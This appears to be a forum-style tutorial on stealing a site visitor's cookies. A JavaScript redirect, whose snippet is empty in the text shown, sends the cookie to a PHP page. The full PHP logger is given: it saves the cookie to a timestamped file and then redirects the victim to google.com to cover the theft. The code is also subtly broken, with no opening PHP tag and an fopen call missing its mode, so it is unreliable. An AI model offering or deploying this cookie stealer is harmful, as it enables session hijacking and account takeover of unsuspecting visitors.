Yes, you read well: we deal with getting a person's cookies with PHP.
Obviously that person must visit a particular page on out website...
[h2]What we'll do[/h2]
We''re going to try getting cookies using a really simple PHP script and a bit of jaascript to create the dynamic URL we need.
The javascript code is what actually gets the cookie content while the PHP saves it to a file and reads the content.
The entire script will pass data through GET variables.
[h2]The HTML page[/h2]
We need a [i]normal[/i] HTML page to put a javascript snippet in. so create a page called [i]foo.html[/i] and, just under the [code]
[/code] tag type
[code]
[/code]
Once the user loads the page, he''s immediately redirected to [b]getcookie.php[/b] with a variable ([code]data[/code]) containing the cookie content.
The PHP page will the save it into a file and redirects to another page.
You can then open the file and read the content.
[h2]The page [code]getcookie.php[/code][/h2]
Here is our core of the script, what makes it actually working:
[code]
// Gets what comes after the word 'data' in the URL
$data = $_GET['data'];
// Creates a new file called 'cookie_1895423.txt' and opens it
// The numbers changes each time the function is called, since it
// represents the UNIX timestamp of the exact moment the function 'time()'
// is called
$file = fopen ("cookie_" . time() . ".txt");
// Writes $data to the $file
fwrite ($file, $data);
// Closes handle
fclose ($file);
// If you want to print results here, uncomment the following line
// and remove 'header (...)'
## echo $data;
// Redirects to another page
header ("Location: http://google.com");
?>
[/code]
Wow, try it to check if it works. It should create the file [code]cookie_[timestamp].txt[/code] and redirect you to [b]google.com[/b] or just output the data, as you decided.